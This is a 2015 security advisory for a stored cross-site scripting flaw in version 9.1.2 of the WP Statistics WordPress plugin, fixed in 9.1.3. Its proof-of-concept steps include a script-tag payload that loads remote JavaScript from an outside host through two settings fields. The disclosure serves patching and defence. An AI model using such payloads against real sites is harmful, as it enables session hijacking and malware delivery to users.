WordPress WP Statistics 9.1.2 Cross Site Scripting

`===========================================================  
Stored XSS Vulnerability in WP Statistics Wordpress Plugin   
===========================================================  
  
. contents:: Table Of Content  
  
Overview  
========  
  
* Title :Stored XSS Vulnerability in WP Statistics Wordpress Plugin   
* Author: Kaustubh G. Padwad  
* Plugin Homepage: https://wordpress.org/plugins/wp-statistics/  
* Severity: Medium  
* Version Affected: 9.1.2 and mostly prior to it  
* Version Tested : 9.1.2  
* version patched: 9.1.3  
  
Description   
===========  
  
Vulnerable Parameter   
--------------------  
  
* Check for online users every:  
* Coefficient per visitor:  
  
  
About Vulnerability  
-------------------  
This plugin is vulnerable to a Stored cross site scripting vulnerability,This issue was exploited when administrator users with access to WP Statistics Setting in wordpress Above Vulbnerable parameter is vulnerable for stored XSS. A malicious administration can hijack other users session, take control of another administrator's browser or install malware on their computer.  
  
Vulnerability Class  
===================   
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)   
  
Steps to Reproduce: (POC)  
=========================  
  
After installing the plugin  
  
* Goto settings --> WP Statistics  
* Put This payload in any above vulnerable parameter <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>  
* Click on the Save Changes you will see XSS in action   
* Reload the page or re navigate to page to make sure its stored ;)  
  
Mitigation   
==========  
Update to 9.1.3  
  
Change Log  
==========  
https://wordpress.org/plugins/wp-statistics/changelog/  
  
Disclosure   
==========  
14-April-2015 reported to developer  
15-April-2015 Fix by developer  
15-April-2015 Public Disclosure  
credits  
=======  
* Kaustubh Padwad  
* Information Security Researcher  
* [email protected]  
* https://twitter.com/s3curityb3ast  
* http://breakthesec.com  
* https://www.linkedin.com/in/kaustubhpadwad  
`